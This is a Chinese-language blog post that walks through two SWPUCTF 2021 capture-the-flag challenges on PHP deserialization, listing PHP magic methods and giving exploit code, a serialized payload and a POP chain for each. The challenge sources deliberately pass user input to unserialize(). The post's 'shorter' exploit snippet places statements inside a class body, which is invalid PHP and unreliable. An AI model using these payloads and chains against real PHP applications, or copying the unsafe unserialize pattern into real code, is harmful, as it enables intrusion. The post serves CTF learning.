php反序列化

前置知识

各种魔术方法的触发条件:

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,当对象创建完成结束后会调用

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

题目:

[SWPUCTF 2021 新生赛]ez_unserialize:

image-20231110202859635

查看源代码发现有个Disallow,猜一下是不是防止爬虫的,访问一下robots.txt

image-20231110203000438

​ 有个cl45s.php,访问一下看看

找到了代码,直接开始审计php代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

代码的意思是只有当admin==="admin",pass==="ctf"时才会触发flag,那么我们就去构造一下

<?php  
class wllm{  

 public $admin;  
 public $passwd;  
 public function __construct(){  
 $this->admin ="admin";  
 $this->passwd = "ctf";  
 }  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

序列化出来的内容:

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

保险起见urlencode一下,如果有private,protected的属性的话不urlencode会漏掉一些内容

get传参,获得flag

image-20231110203608834

image-20231110203614146

其实写这么一段就行,因为序列化的内容只有这些属性,那些方法不会跟着序列化

<?php  
class wllm{  

 public $admin="admin";  
 public $passwd= "ctf";  
$a=new wllm();  
echo serialize($a);  
?>

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

题目出来就直接是源码

最终要执行的肯定是Getflag()函数,所以就从后往前推,看看哪里可以调用方法,发现w33m类中的toString()方法可以调用函数,这里的话肯定是要让w33m类里$w00m为w44m对象,$w22m为Getflag字符串,然后再看要怎么触发toString,当这个对象被当字符串输出时会调用,也就是在w22m类里会被调用,所以要让w22m类的w00m为w33m对象。

整理一下就是

  1. 创建w22m对象 其中$w00m字段为w33m对象
  2. 创建w33m对象 令其中$w00m为w44m对象 $w22m为Getflag字符串
  3. 创建w44m对象 令其中$admin = ‘w44m’;$passwd = ‘08067’

构造pop链就是下面这样

<?php

class w44m{

    private $admin ='w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}

$a=new w22m();
$b=new w33m();
$c=new w44m();

$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';

echo urlencode(serialize($a));

?>

传参获得flag

posted @ 2023-11-28 19:28  Jinx8823  阅读(46)  评论(0编辑  收藏  举报